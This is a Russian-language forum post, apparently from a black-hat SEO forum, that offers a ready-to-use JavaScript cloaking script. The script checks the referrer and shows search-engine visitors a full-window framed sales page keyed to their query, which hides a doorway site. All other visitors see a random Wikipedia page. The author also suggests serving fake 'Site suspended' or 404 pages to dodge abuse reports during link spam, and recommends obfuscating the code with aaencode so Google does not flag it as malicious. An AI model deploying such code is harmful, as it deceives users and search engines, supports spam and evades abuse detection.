Выкладываю готовое решение простого клоакинга на JavaScript. Его можно свободно применять для многих целей.
Логика работы:
1) проверяем пришел ли человек из поисковика
2) если да , то выпаршеваем кейворд, по которому он зашел
3) если нет, то выполняем скрипт в самой нижней части
else {document.write ....}
4) выпаршеный кейворд передается функцией referrer_keyword_parser(), если кейворд не найден, то подставляется "Default Keyword"
В данном примере этот скрипт вставляется в раздел <head></head> и перекрывает фреймом весь сайт . Таким образом пользователь не понимает, что попал на дорвей/ГС , а видит только лендинговую продающую страницу , что оооочень сильно сказывается на конверте.
1)Можно использовать скрипт по-другому: например, выводить попап юзеру, только если он зашел по нужному кейворду.
2)Можно выводить баннеры только юзерам, которые пришли из поисковиков.
3)Можно отобразить страницу "Site suspended" или "404" для пользователей, которые перешли не из поисковиков(обезопасить себя от абузеров, при линкспаме)
+ много вариаций использования
Код: [развернуть] |
var Ref=document.referrer;
if (Ref.indexOf('.google.')!=-1 || Ref.indexOf('.bing.')!=-1 || Ref.indexOf('.yahoo.')!=-1 || Ref.indexOf('.aol.')!=-1 || Ref.indexOf('.ask.')!=-1 || Ref.indexOf('.altavista.')!=-1 || Ref.indexOf('.bing.')!=-1 )
{
function referrer_keyword_parser() {
var patterns =
[
[ /^http:\/\/([a-z]+\.)?google\.(co\.)?[a-z]+/, /q=([^&]+)/ ],
[ /^http:\/\/([a-z]+\.)?yahoo\.(co\.)?[a-z]+/, /p=([^&]+)/ ],
[ /^http:\/\/([a-z]+\.)?search\.msn\.(co\.)?[a-z]+/, /q=([^&]+)/ ],
[ /^http:\/\/([a-z]+\.)?search\.live\.(co\.)?[a-z]+/, /q=([^&]+)/ ],
[ /^http:\/\/([a-z]+\.)?search\.aol\.(co\.)?[a-z]+/, /q=([^&]+)/ ],
[ /^http:\/\/([a-z]+\.)?search\.ask\.[a-z]+/, /q=([^&]+)/ ],
[ /^http:\/\/([a-z]+\.)?search\.lycos\.(co\.)?[a-z]+/, /query=([^&]+)/ ],
]
var p;
for ( var k in patterns) {
p = patterns[k]
if (document.referrer.match(p[0])) {
var m = document.referrer.match(p[1]);
if (m.length)
return m[1];
else
break;
}
}
return escape("Default Keyword");
}
document.write("<frameset framespacing='0' border='false' frameborder='0' rows='0,100%'><frame name='top'><frame name='body' src='http://yoursite.com/search/?q="+ referrer_keyword_parser() +"&x=0&y=0'>");
}
else {
document.write("<frameset framespacing='0' border='false' frameborder='0' rows='0,100%'><frame name='top'><frame name='body' src='http://en.wikipedia.org/wiki/Special:Random'>");
}
|
PS: если думаете, что гугл всё спалит, можете закриптовать этим:
http://utf-8.jp/public/aaencode.html, пока ещё ни разу не отмечалось "вредоносным кодом"
PPS: Если помог скрипт , поставьте + . Если есть вопросы, спрашивайте в топике.